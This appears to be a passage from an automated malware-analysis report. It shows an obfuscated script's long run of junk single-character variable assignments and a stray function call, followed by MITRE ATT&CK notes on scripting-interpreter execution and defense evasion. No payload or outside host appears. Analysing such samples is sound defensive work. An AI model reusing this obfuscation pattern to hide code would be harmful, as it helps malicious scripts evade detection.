87	aymkgmwq = "B";
88	aymkgmwq = "O";
89	aymkgmwq = "P";
90	aymkgmwq = "n";
91	aymkgmwq = "Q";
92	aymkgmwq = "O";
93	aymkgmwq = "I";
94	aymkgmwq = "Z";
95	aymkgmwq = "t";
96	aymkgmwq = "R";
97	aymkgmwq = "j";
98	aymkgmwq = "v";
99	aymkgmwq = "w";
100	aymkgmwq = "h";
101	xwizvva = "c";
102	xwizvva = "R";
103	xwizvva = "G";
104	xwizvva = "h";
105	xwizvva = "c";
106	xwizvva = "V";
107	xwizvva = "N";
108	xwizvva = "I";
109	xwizvva = "F";
110	xwizvva = "P";
111	xwizvva = "Z";
112	xwizvva = "p";
113	xwizvva = "R";
114	xwizvva = "E";
115	xwizvva = "x";
116	xwizvva = "S";
117	xwizvva = "a";
118	xwizvva = "D";
119	xwizvva = "Q";
120	xwizvva = "W";
121	xwizvva = "r";
122	xwizvva = "u";
123	xwizvva = "p";
124	xwizvva = "E";
125	xwizvva = "X";
126	xwizvva = "p";
127	xwizvva = "2";
128	ehlosmujc = "t";
129	ehlosmujc = "N";
130	ehlosmujc = "P";
131	ehlosmujc = "L";
132	ehlosmujc = "d";
133	ehlosmujc = "q";
134	ehlosmujc = "g";
135	ehlosmujc = "h";
136	ehlosmujc = "a";
137	ehlosmujc = "C";
138	ehlosmujc = "a";
139	ehlosmujc = "p";
140	ehlosmujc = "x";
141	ehlosmujc = "d";
142	qhebgm = "G";
143	qhebgm = "D";
144	qhebgm = "n";
145	qhebgm = "E";
146	qhebgm = "i";
147	qhebgm = "E";
148	qhebgm = "V";
149	qhebgm = "F";
150	qhebgm = "M";
151	qhebgm = "q";
152	qhebgm = "w";
153	qhebgm = "u";
154	ehruch = "j";
155	ehruch = "P";
156	ehruch = "w";
157	ehruch = "L";
158	ehruch = "b";
159	ehruch = "c";
160	ehruch = "R";
161	ehruch = "m";
162	ehruch = "H";
163	ehruch = "o";
164	ehruch = "C";
165	ehruch = "s";
166	ehruch = "u";
167	ehruch = "m";
168	ehruch = "N";
169	ehruch = "o";
170	ehruch = "E";
171	ehruch = "G";
172	ehruch = "S";
173	ehruch = "A";
174	ehruch = "s";
175	ehruch = "Z";
176	ehruch = "x";
177	ehruch = "y";
178	ehruch = "o";
179	ehruch = "v";
180	ehruch = "B";
181	ehruch = "w";
182	ehruch = "D";
183	ehruch = "p";
184	ruymncag = "q";
185	ruymncag = "s";
186	ruymncag = "o";
187	ruymncag = "E";
188	ruymncag = "e";
189	ruymncag = "N";
190	ruymncag = "f";
191	ruymncag = "y";
192	ruymncag = "k";
193	ruymncag = "J";
194	ruymncag = "i";
195	ruymncag = "A";
196	ruymncag = "a";
197	ruymncag = "w";
198	ruymncag = "S";
199	ruymncag = "G";
200	ruymncag = "R";
201	ruymncag = "m";
202	ruymncag = "o";
203	ruymncag = "D";
204	ruymncag = "g";
205	ruymncag = "B";
206	ruymncag = "a";
207	ruymncag = "u";
208	ruymncag = "U";
209	ruymncag = "F";
210	ruymncag = "t";
211	lsovqsihz = "b";
212	lsovqsihz = "L";
213	lsovqsihz = "w";
214	lsovqsihz = "L";
215	lsovqsihz = "x";
216	lsovqsihz = "o";
217	lsovqsihz = "f";
218	lsovqsihz = "w";
219	lsovqsihz = "K";
220	lsovqsihz = "e";
221	lsovqsihz = "G";
222	lsovqsihz = "H";
223	lsovqsihz = "e";
224	lsovqsihz = "Q";
225	kjlyshuv = "T";
226	kjlyshuv = "X";
227	kjlyshuv = "e";
228	kjlyshuv = "H";
229	kjlyshuv = "L";
230	kjlyshuv = "A";
231	kjlyshuv = "X";
232	kjlyshuv = "t";
233	kjlyshuv = "y";
234	kjlyshuv = "u";
235	kjlyshuv = "c";
236	kjlyshuv = "S";
237	kjlyshuv = "R";
238	kjlyshuv = "v";
239	kjlyshuv = "f";
240	kjlyshuv = "E";
241	kjlyshuv = "l";
242	kjlyshuv = "y";
243	kjlyshuv = "s";
244	kjlyshuv = "x";
245	kjlyshuv = "B";
246	kjlyshuv = "L";
247	kjlyshuv = "d";
248	kjlyshuv = "Y";
249	kjlyshuv = "P";
250	kjlyshuv = "i";
251	kjlyshuv = "F";
252	kjlyshuv = "u";
253	kjlyshuv = "C";
254	kjlyshuv = "p";
255	kjlyshuv = "h";
256	kjlyshuv = "B";
257	kjlyshuv = " ";
258	ujcoux = "S";
259	ujcoux = "f";
260	ujcoux = "s";
261	ujcoux = "w";
262	ujcoux = "t";
263	ujcoux = "e";
264	ujcoux = "w";
265	ujcoux = "P";
266	ujcoux = "C";
267	ujcoux = "G";
268	ujcoux = "B";
269	ujcoux = "O";
270	ujcoux = "l";
271	ujcoux = "n";
272	ujcoux = "Y";
273	ujcoux = "L";
274	kovexj = "N";
275	kovexj = "X";
276	kovexj = "V";
277	kovexj = "P";
278	kovexj = "m";
279	kovexj = "P";
280	kovexj = "w";
281	kovexj = "V";
282	kovexj = "e";
283	kovexj = "m";
284	kovexj = "m";
285	kovexj = "B";
286	kovexj = "v";
287	kovexj = "B";
288	kovexj = "q";
289	kovexj = "y";
290	kovexj = "Z";
291	kovexj = "x";
292	kovexj = "b";
293	kovexj = "E";
294	kovexj = "l";
295	kovexj = "c";
296	kovexj = "E";
297	kovexj = "Q";
298	kovexj = "g";
299	kovexj = "w";
300	kovexj = "F";
301	kovexj = "T";
302	kovexj = "x";
303	kovexj = "i";
304	kovexj = "D";
305	kovexj = "v";
306	kovexj = "E";
307	kovexj = "j";
308	kovexj = "A";
309	kovexj = "h";
310	kovexj = "T";
311	kovexj = "z";
312	kovexj = "S";
313	kovexj = "p";
314	kovexj = "U";
315	kovexj = "j";
316	hiutinlgz = "N";
317	hiutinlgz = "k";
318	hiutinlgz = "F";
319	ddoeawc = "g";
320	ddoeawc = "f";
321	wyywez = "S";
322	wyywez = "h";
323	wyywez = "b";
324	wyywez = "y";
325	wyywez = "e";
326	wyywez = "B";
327	wyywez = "L";
328	wyywez = "I";
329	wyywez = "g";
330	wyywez = "h";
331	wyywez = "l";
332	wyywez = "M";
333	wyywez = "V";
334	wyywez = "h";
335	wyywez = "S";
336	wyywez = "Y";
337	wyywez = "T";
338	wyywez = "L";
339	wyywez = "R";
340	wyywez = "B";
341	wyywez = "D";
342	wyywez = "O";
343	wyywez = "_";
344	qpluhw = "W";
345	qpluhw = "S";
346	qpluhw = "T";
347	qpluhw = "E";
348	qpluhw = "O";
349	qpluhw = "Z";
350	qpluhw = "g";
351	qpluhw = "D";
352	qpluhw = "Q";
353	qpluhw = "K";
354	qpluhw = "M";
355	qpluhw = "J";
356	qpluhw = "e";
357	qpluhw = "Q";
358	qpluhw = "G";
359	qpluhw = "i";
360	qpluhw = "V";
361	qpluhw = "O";
362	qpluhw = "y";
363	qpluhw = "v";
364	qpluhw = "m";
365	qpluhw = "J";
366	qpluhw = "A";
367	qpluhw = "r";
368	qpluhw = "U";
369	qpluhw = "D";
370	qpluhw = "g";
371	qpluhw = "U";
372	qpluhw = "M";
373	qpluhw = "p";
374	qpluhw = "g";
375	qpluhw = "K";
376	qpluhw = "m";
377	qpluhw = "e";
378	qpluhw = "J";
379	qpluhw = "q";
380	qpluhw = "G";
381	qpluhw = "G";
382	qpluhw = "G";
383	qpluhw = "d";
384	qpluhw = "q";
385	qpluhw = "C";
386	qpluhw = "z";
387	qpluhw = "D";
388	qpluhw = "9";
389	freul = "X";
390	freul = "W";
391	freul = "o";
392	freul = "q";
393	ionxczbk = "h";
394	ionxczbk = "L";
395	ionxczbk = "h";
396	ionxczbk = "S";
397	wprcemfh = "z";
398	wprcemfh = "b";
399	wprcemfh = "c";
400	wprcemfh = "l";
401	wprcemfh = "z";
402	wprcemfh = "C";
403	wprcemfh = "X";
404	wprcemfh = "o";
405	wprcemfh = "%";
406	yjvqfvudk = "T";
407	yjvqfvudk = "j";
408	yjvqfvudk = "t";
409	yjvqfvudk = "b";
410	yjvqfvudk = "t";
411	yjvqfvudk = "J";
412	yjvqfvudk = "Q";
413	yjvqfvudk = "t";
414	yjvqfvudk = "X";
415	yjvqfvudk = "w";
416	yjvqfvudk = "f";
417	yjvqfvudk = "\"";
418	zotnsogl = "F";
419	zotnsogl = "i";
420	zotnsogl = "r";
421	zotnsogl = "B";
422	zotnsogl = "X";
423	zotnsogl = "g";
424	zotnsogl = "a";
425	zotnsogl = "l";
426	zotnsogl = "T";
427	zotnsogl = "h";
428	zotnsogl = "w";
429	zotnsogl = "d";
430	zotnsogl = "d";
431	zotnsogl = "g";
432	zotnsogl = "m";
433	zotnsogl = "A";
434	zotnsogl = "y";
435	zotnsogl = "m";
436	zotnsogl = "W";
437	zotnsogl = "t";
438	zotnsogl = "A";
439	zotnsogl = "c";
440	zotnsogl = "U";
441	zotnsogl = "m";
442	zotnsogl = "z";
443	zotnsogl = "Q";
444	zotnsogl = "g";
445	zotnsogl = ":";
446	narjftxm = "v";
447	narjftxm = "B";
448	narjftxm = "J";
449	narjftxm = "b";
450	narjftxm = "M";
451	narjftxm = "D";
452	narjftxm = "D";
453	narjftxm = "W";
454	narjftxm = "V";
455	narjftxm = "d";
456	narjftxm = "q";
457	narjftxm = "B";
458	narjftxm = "g";
459	narjftxm = "T";
460	narjftxm = "r";
461	narjftxm = "w";
462	narjftxm = "v";
463	narjftxm = "L";
464	narjftxm = "v";
465	narjftxm = "j";
466	narjftxm = "k";
467	narjftxm = "S";
468	narjftxm = "j";
469	narjftxm = "s";
470	narjftxm = "S";
471	narjftxm = "p";
472	narjftxm = "P";
473	narjftxm = "q";
474	narjftxm = "Z";
475	narjftxm = "v";
476	narjftxm = "a";
477	narjftxm = "/";
478	kepadyds = "S";
479	kepadyds = "B";
480	kepadyds = "F";
481	kepadyds = "X";
482	kepadyds = "O";
483	kepadyds = "t";
484	kepadyds = "K";
485	kepadyds = "P";
486	kepadyds = "Q";
487	kepadyds = "X";
488	kepadyds = "z";
489	kepadyds = "H";
490	kepadyds = "R";
491	kepadyds = "F";
492	kepadyds = "y";
493	kepadyds = "k";
494	kepadyds = "C";
495	kepadyds = "V";
496	kepadyds = "K";
497	kepadyds = "i";
498	kepadyds = "G";
499	kepadyds = "X";
500	kepadyds = "Z";
501	kepadyds = "O";
502	kepadyds = "o";
503	kepadyds = "n";
504	kepadyds = "Z";
505	kepadyds = "P";
506	kepadyds = "X";
507	kepadyds = "r";
508	kepadyds = "D";
509	kepadyds = "s";
510	kepadyds = "a";
511	kepadyds = "i";
512	kepadyds = "A";
513	kepadyds = "n";
514	kepadyds = "y";
515	kepadyds = "N";
516	xskrxnj = "t";
517	xskrxnj = "u";
518	xskrxnj = "t";
519	xskrxnj = "A";
520	xskrxnj = "O";
521	xskrxnj = "q";
522	xskrxnj = "f";
523	xskrxnj = "H";
524	xskrxnj = "A";
525	xskrxnj = "M";
526	xskrxnj = "U";
527	xskrxnj = "q";
528	xskrxnj = "3";
529	ykxdokn = "D";
530	ykxdokn = "f";
531	ykxdokn = "w";
532	ykxdokn = "W";
533	ykxdokn = "o";
534	ykxdokn = "J";
535	ykxdokn = "z";
536	ykxdokn = "F";
537	ykxdokn = "G";
538	ykxdokn = "t";
539	ykxdokn = "H";
540	ykxdokn = "X";
541	ykxdokn = "C";
542	ykxdokn = "s";
543	ykxdokn = "y";
544	ykxdokn = "U";
545	ykxdokn = "Q";
546	ykxdokn = "W";
547	ykxdokn = "A";
548	ykxdokn = "R";
549	ykxdokn = "G";
550	ykxdokn = "H";
551	dumrsqx = "h";
552	dumrsqx = "M";
553	dumrsqx = "z";
554	dumrsqx = "I";
555	dumrsqx = "e";
556	dumrsqx = "r";
557	dumrsqx = "B";
558	dumrsqx = "t";
559	dumrsqx = "x";
560	dumrsqx = "f";
561	dumrsqx = "E";
562	dumrsqx = "Z";
563	dumrsqx = "Q";
564	dumrsqx = "H";
565	dumrsqx = "&";
566	wjhtkp = "n";
567	wjhtkp = "g";
568	wjhtkp = "h";
569	wjhtkp = "I";
570	wjhtkp = "O";
571	wjhtkp = "O";
572	wjhtkp = "n";
573	wjhtkp = "I";
574	wjhtkp = "z";
575	wjhtkp = "k";
576	wjhtkp = "L";
577	wjhtkp = "g";
578	wjhtkp = "c";
579	wjhtkp = "a";
580	wjhtkp = "k";
581	wjhtkp = "J";
582	wjhtkp = "x";
583	wjhtkp = "@";
584	nhfmaddi = "U";
585	nhfmaddi = "w";
586	nhfmaddi = "T";
587	nhfmaddi = "p";
588	nhfmaddi = "k";
589	nhfmaddi = "n";
590	nhfmaddi = "i";
591	nhfmaddi = "C";
592	nhfmaddi = "M";
593	nhfmaddi = "L";
594	nhfmaddi = "j";
595	nhfmaddi = "A";
596	nhfmaddi = "H";
597	nhfmaddi = "V";
598	nhfmaddi = "W";
599	nhfmaddi = "R";
600	nhfmaddi = "u";
601	nhfmaddi = "r";
602	nhfmaddi = "c";
603	nhfmaddi = "G";
604	nhfmaddi = "T";
605	nhfmaddi = "h";
606	nhfmaddi = "v";
607	nhfmaddi = "h";
608	nhfmaddi = "n";
609	nhfmaddi = "v";
610	nhfmaddi = "J";
611	nhfmaddi = "K";
612	nhfmaddi = "e";
613	nhfmaddi = "s";
614	nhfmaddi = "B";
615	nhfmaddi = "x";
616	klntvisd = "c";
617	klntvisd = "E";
618	klntvisd = "g";
619	klntvisd = "X";
620	klntvisd = "M";
621	klntvisd = "O";
622	klntvisd = "B";
623	klntvisd = "Q";
624	klntvisd = "Z";
625	klntvisd = "k";
626	klntvisd = "o";
627	klntvisd = "D";
628	klntvisd = "g";
629	klntvisd = "q";
630	klntvisd = "F";
631	klntvisd = "p";
632	klntvisd = "e";
633	klntvisd = "S";
634	klntvisd = "i";
635	klntvisd = "G";
636	klntvisd = "A";
637	klntvisd = "T";
638	klntvisd = "P";
639	klntvisd = "a";
640	klntvisd = "T";
641	vhkhvztqe = "o";
642	dzveoom = "j";
643	dzveoom = "d";
644	dzveoom = "w";
645	dzveoom = "C";
646	dzveoom = "s";
647	dzveoom = "E";
648	dzveoom = "V";
649	dzveoom = "q";
650	dzveoom = "T";
651	dzveoom = "F";
652	dzveoom = "q";
653	dzveoom = "G";
654	dzveoom = "k";
655	dzveoom = "U";
656	dzveoom = "H";
657	dzveoom = "c";
658	dzveoom = "i";
659	dzveoom = "v";
660	dzveoom = "Z";
661	dzveoom = "w";
662	dzveoom = "c";
663	dzveoom = "i";
664	dzveoom = "Q";
665	dzveoom = "Y";
666	dahrev = "d";
667	dahrev = "e";
668	dahrev = "e";
669	dahrev = "q";
670	dahrev = "x";
671	dahrev = "C";
672	dahrev = "K";
673	dahrev = "a";
674	dahrev = "Z";
675	dahrev = "I";
676	dahrev = "n";
677	dahrev = "E";
678	dahrev = "W";
679	dahrev = "w";
680	dahrev = "M";
681	dahrev = "h";
682	dahrev = "A";
683	dahrev = "U";
684	dahrev = "R";
685	dahrev = "u";
686	dahrev = "j";
687	dahrev = "m";
688	dahrev = "y";
689	dahrev = "C";
690	dahrev = "s";
691	dahrev = "Q";
692	dahrev = "D";
693	dahrev = "d";
694	dahrev = "v";
695	dahrev = "i";
696	dahrev = "H";
697	dahrev = "C";
698	dahrev = "C";
699	dahrev = "H";
700	dahrev = "W";
701	dahrev = "n";
702	dahrev = "H";
703	dahrev = "P";
704	dahrev = "B";
705	dahrev = "I";
706	dahrev = "u";
707	dahrev = "h";
708	dahrev = "E";
709	dahrev = "A";
710	dahrev = "C";
711	zmqictk = "H";
712	zmqictk = "c";
713	zmqictk = "I";
714	zmqictk = "N";
715	zmqictk = "u";
716	zmqictk = "H";
717	zmqictk = "S";
718	zmqictk = "X";
719	zmqictk = "h";
720	zmqictk = "X";
721	zmqictk = "O";
722	zmqictk = "S";
723	zmqictk = "d";
724	zmqictk = "Q";
725	zmqictk = "i";
726	zmqictk = "M";
727	zmqictk = "l";
728	zmqictk = "i";
729	zmqictk = "V";
730	zmqictk = "A";
731	zmqictk = "s";
732	zmqictk = "P";
733	zmqictk = "f";
734	zmqictk = "b";
735	odwasbi = "h";
736	odwasbi = "r";
737	odwasbi = "Q";
738	odwasbi = "T";
739	odwasbi = "k";
740	odwasbi = "i";
741	odwasbi = "A";
742	odwasbi = "g";
743	odwasbi = "w";
744	odwasbi = "I";
745	tnxyq = "K";
746	tnxyq = "t";
747	tnxyq = "h";
748	tnxyq = "z";
749	tnxyq = "K";
750	tnxyq = "n";
751	tnxyq = "o";
752	tnxyq = "O";
753	tnxyq = "Q";
754	tnxyq = "W";
755	tnxyq = "R";
756	bfzoiv = "O";
757	bfzoiv = "s";
758	bfzoiv = "j";
759	bfzoiv = "v";
760	bfzoiv = "W";
761	bfzoiv = "M";
762	bfzoiv = "i";
763	bfzoiv = "k";
764	bfzoiv = "V";
765	bfzoiv = "g";
766	bfzoiv = "z";
767	bfzoiv = "f";
768	bfzoiv = "o";
769	bfzoiv = "M";
770	bfzoiv = "U";
771	bfzoiv = "5";
772	thmqqegx = "p";
773	thmqqegx = "J";
774	thmqqegx = "z";
775	thmqqegx = "V";
776	thmqqegx = "J";
777	thmqqegx = "s";
778	thmqqegx = "Q";
779	thmqqegx = "N";
780	thmqqegx = "N";
781	thmqqegx = "v";
782	thmqqegx = "e";
783	thmqqegx = "v";
784	thmqqegx = "e";
785	thmqqegx = "A";
786	thmqqegx = "r";
787	thmqqegx = "h";
788	thmqqegx = "P";
789	thmqqegx = "s";
790	thmqqegx = "X";
791	thmqqegx = "O";
792	thmqqegx = "V";
793	thmqqegx = "X";
794	thmqqegx = "t";
795	thmqqegx = "d";
796	thmqqegx = "T";
797	thmqqegx = "v";
798	wsmougx = "A";
799	wsmougx = "O";
800	wsmougx = "B";
801	wsmougx = "w";
802	wsmougx = "s";
803	wsmougx = "N";
804	wsmougx = "K";
805	wsmougx = "l";
806	wsmougx = "m";
807	wsmougx = "g";
808	wsmougx = "S";
809	wsmougx = "b";
810	wsmougx = "c";
811	wsmougx = "u";
812	wsmougx = "u";
813	wsmougx = "d";
814	wsmougx = "Q";
815	wsmougx = "d";
816	wsmougx = "C";
817	wsmougx = "D";
818	wsmougx = "U";
819	wsmougx = "Q";
820	wsmougx = "D";
821	wsmougx = "b";
822	wsmougx = "v";
823	wsmougx = "O";
824	wsmougx = "P";
825	wsmougx = "i";
826	zvgtza = "R";
827	zvgtza = "K";
828	zvgtza = "S";
829	zvgtza = "I";
830	zvgtza = "e";
831	gvieivjc = "J";
832	gvieivjc = "u";
833	gvieivjc = "i";
834	gvieivjc = "p";
835	gvieivjc = "L";
836	gvieivjc = "P";
837	gvieivjc = "T";
838	gvieivjc = "w";
839	gvieivjc = "r";
840	gvieivjc = "S";
841	gvieivjc = "i";
842	gvieivjc = "l";
843	gvieivjc = "h";
844	gvieivjc = "X";
845	gvieivjc = "W";
846	gvieivjc = "u";
847	gvieivjc = "S";
848	gvieivjc = "z";
849	gvieivjc = "D";
850	gvieivjc = "y";
851	gvieivjc = "V";
852	gvieivjc = "E";
853	gvieivjc = "y";
854	gvieivjc = "O";
855	gvieivjc = "E";
856	gvieivjc = "F";
857	gvieivjc = "W";
858	gvieivjc = "x";
859	gvieivjc = "Q";
860	gvieivjc = "E";
861	gvieivjc = "m";
862	gvieivjc = "w";
863	gvieivjc = "s";
864	oiswxcbgb = "E";
865	oiswxcbgb = "e";
866	oiswxcbgb = "C";
867	oiswxcbgb = "e";
868	oiswxcbgb = "N";
869	oiswxcbgb = "W";
870	oiswxcbgb = "E";
871	oiswxcbgb = "J";
872	oiswxcbgb = "f";
873	oiswxcbgb = "E";
874	oiswxcbgb = "U";
875	oiswxcbgb = "b";
876	oiswxcbgb = "L";
877	oiswxcbgb = "p";
878	oiswxcbgb = "I";
879	oiswxcbgb = "I";
880	oiswxcbgb = "z";
881	oiswxcbgb = "D";
882	oiswxcbgb = "e";
883	oiswxcbgb = "v";
884	oiswxcbgb = "M";
885	oiswxcbgb = "A";
886	oiswxcbgb = "W";
887	xyjfwkmy = "m";
888	xyjfwkmy = "k";
889	xyjfwkmy = "U";
890	xyjfwkmy = "R";
891	xyjfwkmy = "S";
892	xyjfwkmy = "D";
893	xyjfwkmy = "o";
894	xyjfwkmy = "z";
895	xyjfwkmy = "a";
896	xyjfwkmy = "q";
897	xyjfwkmy = "o";
898	xyjfwkmy = "l";
899	xyjfwkmy = "x";
900	xyjfwkmy = "m";
901	xyjfwkmy = "P";
902	xyjfwkmy = "m";
903	xyjfwkmy = "v";
904	xyjfwkmy = "S";
905	xyjfwkmy = "P";
906	xyjfwkmy = "I";
907	xyjfwkmy = "F";
908	xyjfwkmy = "S";
909	xyjfwkmy = "j";
910	xyjfwkmy = "w";
911	xyjfwkmy = "k";
912	xyjfwkmy = "K";
913	xyjfwkmy = "R";
914	xyjfwkmy = "v";
915	xyjfwkmy = "O";
916	xyjfwkmy = "c";
917	xyjfwkmy = "J";
918	xyjfwkmy = "E";
919	xyjfwkmy = "k";
920	xyjfwkmy = ".";
921	kwmytq = "a";
922	kwmytq = "l";
923	kwmytq = "t";
924	kwmytq = "i";
925	kwmytq = "z";
926	kwmytq = "P";
927	kwmytq = "o";
928	kwmytq = "B";
929	kwmytq = "S";
930	kwmytq = "Z";
931	kwmytq = "V";
932	kwmytq = "o";
933	kwmytq = "g";
934	kwmytq = "8";
935	yuxkyaw = "K";
936	yuxkyaw = "F";
937	yuxkyaw = "F";
938	yuxkyaw = "f";
939	yuxkyaw = "B";
940	yuxkyaw = "v";
941	yuxkyaw = "v";
942	yuxkyaw = "D";
943	yuxkyaw = "Y";
944	yuxkyaw = "L";
945	yuxkyaw = "Q";
946	yuxkyaw = "h";
947	yuxkyaw = "V";
948	yuxkyaw = "B";
949	yuxkyaw = "N";
950	yuxkyaw = "l";
951	yuxkyaw = "G";
952	yuxkyaw = "Q";
953	yuxkyaw = "x";
954	yuxkyaw = "T";
955	yuxkyaw = "q";
956	yuxkyaw = "X";
957	yuxkyaw = "d";
958	yuxkyaw = "x";
959	yuxkyaw = "x";
960	yuxkyaw = "i";
961	yuxkyaw = "q";
962	yuxkyaw = "w";
963	yuxkyaw = "W";
964	yuxkyaw = "g";
965	ayjchgo = "E";
966	ayjchgo = "K";
967	ayjchgo = "d";
968	ayjchgo = "t";
969	ayjchgo = "N";
970	ayjchgo = "H";
971	ayjchgo = "U";
972	ayjchgo = "G";
973	ayjchgo = "B";
974	ayjchgo = "z";
975	ayjchgo = "g";
976	ayjchgo = "m";
977	ayjchgo = "f";
978	ayjchgo = "z";
979	ayjchgo = "S";
980	ayjchgo = "T";
981	ayjchgo = "a";
982	ayjchgo = "u";
983	ayjchgo = "Y";
984	ayjchgo = "z";
985	ayjchgo = "h";
986	ayjchgo = "e";
987	ayjchgo = "c";
988	uwcgrsu = "o";
989	uwcgrsu = "Q";
990	uwcgrsu = "z";
991	uwcgrsu = "v";
992	uwcgrsu = "U";
993	uwcgrsu = "F";
994	uwcgrsu = "a";
995	dexnhm = "R";
996	dexnhm = "i";
997	dexnhm = "N";
998	dexnhm = "k";
999	dexnhm = "k";
1000	dexnhm = "O";
1001	dexnhm = "Q";
1002	dexnhm = "J";
1003	dexnhm = "P";
1004	szejtepsb = "a";
1005	szejtepsb = "V";
1006	szejtepsb = "I";
1007	szejtepsb = "y";
1008	szejtepsb = "n";
1009	szejtepsb = "u";
1010	szejtepsb = "m";
1011	szejtepsb = "d";
1012	szejtepsb = "Y";
1013	szejtepsb = "I";
1014	szejtepsb = "c";
1015	szejtepsb = "U";
1016	szejtepsb = "K";
1017	xomlf = "O";
1018	xomlf = "B";
1019	xomlf = "f";
1020	xomlf = "J";
1021	xomlf = "X";
1022	xomlf = "y";
1023	xomlf = "x";
1024	xomlf = "Y";
1025	xomlf = "g";
1026	xomlf = "n";
1027	xomlf = "R";
1028	xomlf = "u";
1029	xomlf = "p";
1030	xomlf = "b";
1031	xomlf = "z";
1032	xomlf = "c";
1033	xomlf = "e";
1034	xomlf = "a";
1035	xomlf = "h";
1036	xomlf = "D";
1037	xomlf = "n";
1038	xomlf = "l";
1039	xomlf = "v";
1040	xomlf = "T";
1041	xomlf = "t";
1042	xomlf = "g";
1043	xomlf = "z";
1044	xomlf = "U";
1045	bafibkue = "T";
1046	bafibkue = "k";
1047	bafibkue = "Z";
1048	bafibkue = "v";
1049	bafibkue = "q";
1050	bafibkue = "i";
1051	bafibkue = "i";
1052	bafibkue = "J";
1053	bafibkue = "a";
1054	bafibkue = "B";
1055	bafibkue = "K";
1056	bafibkue = "j";
1057	bafibkue = "w";
1058	bafibkue = "M";
1059	bafibkue = "r";
1060	bafibkue = "Q";
1061	bafibkue = "Z";
1062	bafibkue = "f";
1063	bafibkue = "h";
1064	bafibkue = "D";
1065	bafibkue = "E";
1066	bafibkue = "e";
1067	bafibkue = "b";
1068	bafibkue = "R";
1069	bafibkue = "z";
1070	bafibkue = "U";
1071	bafibkue = "c";
1072	bafibkue = "c";
1073	bafibkue = "0";
1074	hbfmlbp = "q";
1075	hbfmlbp = "d";
1076	hbfmlbp = "y";
1077	hbfmlbp = "y";
1078	hbfmlbp = "T";
1079	hbfmlbp = "G";
1080	hbfmlbp = "l";
1081	hbfmlbp = "k";
1082	hbfmlbp = "J";
1083	hbfmlbp = "w";
1084	hbfmlbp = "M";
1085	hbfmlbp = "m";
1086	hofxj = "C";
1087	hofxj = "G";
1088	hofxj = "l";
1089	hofxj = "B";
1090	hofxj = "g";
1091	hofxj = "J";
1092	hofxj = "T";
1093	hofxj = "g";
1094	hofxj = "o";
1095	hofxj = "b";
1096	hofxj = "S";
1097	hofxj = "f";
1098	hofxj = "V";
1099	hofxj = "s";
1100	hofxj = "F";
1101	hofxj = "k";
1102	hofxj = "P";
1103	hofxj = "B";
1104	hofxj = "A";
1105	hofxj = "W";
1106	hofxj = "L";
1107	hofxj = "A";
1108	hofxj = "C";
1109	hofxj = "m";
1110	hofxj = "I";
1111	hofxj = "R";
1112	hofxj = "D";
1113	hofxj = "S";
1114	hofxj = "4";
1115	jvogo = "H";
1116	jvogo = "l";
1117	skpyigb = "T";
1118	skpyigb = "t";
1119	skpyigb = "F";
1120	skpyigb = "k";
1121	skpyigb = "h";
1122	skpyigb = "g";
1123	skpyigb = "e";
1124	skpyigb = "v";
1125	skpyigb = "V";
1126	skpyigb = "F";
1127	skpyigb = "p";
1128	skpyigb = "D";
1129	skpyigb = "o";
1130	skpyigb = "I";
1131	skpyigb = "P";
1132	skpyigb = "F";
1133	skpyigb = "h";
1134	skpyigb = "q";
1135	skpyigb = "k";
1136	skpyigb = "T";
1137	skpyigb = "z";
1138	skpyigb = "l";
1139	skpyigb = "v";
1140	skpyigb = "D";
1141	skpyigb = "H";
1142	skpyigb = "d";
1143	skpyigb = "K";
1144	skpyigb = "g";
1145	skpyigb = "q";
1146	skpyigb = "d";
1147	skpyigb = "d";
1148	skpyigb = "W";
1149	skpyigb = "O";
1150	skpyigb = "u";
1151	skpyigb = "n";
1152	meoqy = "s";
1153	meoqy = "X";
1154	meoqy = "j";
1155	meoqy = "L";
1156	meoqy = "g";
1157	meoqy = "B";
1158	meoqy = "v";
1159	meoqy = "t";
1160	meoqy = "W";
1161	meoqy = "u";
1162	meoqy = "v";
1163	meoqy = "s";
1164	meoqy = "s";
1165	meoqy = "Q";
1166	meoqy = "C";
1167	meoqy = "C";
1168	meoqy = "m";
1169	meoqy = "s";
1170	meoqy = "e";
1171	meoqy = "V";
1172	meoqy = "p";
1173	meoqy = "K";
1174	meoqy = "P";
1175	meoqy = "-";
1176	crhen = "n";
1177	crhen = "n";
1178	crhen = "T";
1179	crhen = "V";
1180	crhen = "l";
1181	crhen = "M";
1182	crhen = "e";
1183	crhen = "u";
1184	crhen = "z";
1185	crhen = "p";
1186	crhen = "a";
1187	crhen = "z";
1188	crhen = "A";
1189	crhen = "s";
1190	crhen = "A";
1191	crhen = "p";
1192	crhen = "H";
1193	crhen = "o";
1194	crhen = "z";
1195	crhen = "c";
1196	crhen = "T";
1197	crhen = "X";
1198	crhen = "u";
1199	crhen = "Y";
1200	crhen = "P";
1201	crhen = "B";
1202	crhen = "b";
1203	crhen = "p";
1204	crhen = "D";
1205	crhen = "y";
1206	crhen = "p";
1207	crhen = "X";
1208	crhen = "g";
1209	crhen = "d";
1210	crhen = "r";
1211	xymqzzu = "j";
1212	xymqzzu = "v";
1213	xymqzzu = "M";
1214	xymqzzu = "d";
1215	xymqzzu = "v";
1216	xymqzzu = "u";
1217	xymqzzu = "O";
1218	zhizm = "S";
1219	zhizm = "U";
1220	zhizm = "C";
1221	zhizm = "S";
1222	zhizm = "o";
1223	zhizm = "K";
1224	zhizm = "r";
1225	zhizm = "H";
1226	zhizm = "B";
1227	zhizm = "u";
1228	zhizm = "E";
1229	zhizm = "L";
1230	zhizm = "X";
1231	zhizm = "K";
1232	zhizm = "T";
1233	zhizm = "d";
1234	zhizm = "o";
1235	zhizm = "t";
1236	zhizm = "Z";
1237	zhizm = "Y";
1238	zhizm = "u";
1239	zhizm = "O";
1240	zhizm = "M";
1241	zhizm = "P";
1242	zhizm = "q";
1243	zhizm = "E";
1244	zhizm = "L";
1245	zhizm = "s";
1246	zhizm = "L";
1247	zhizm = "w";
1248	qsrvyz ( );	qsrvyz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
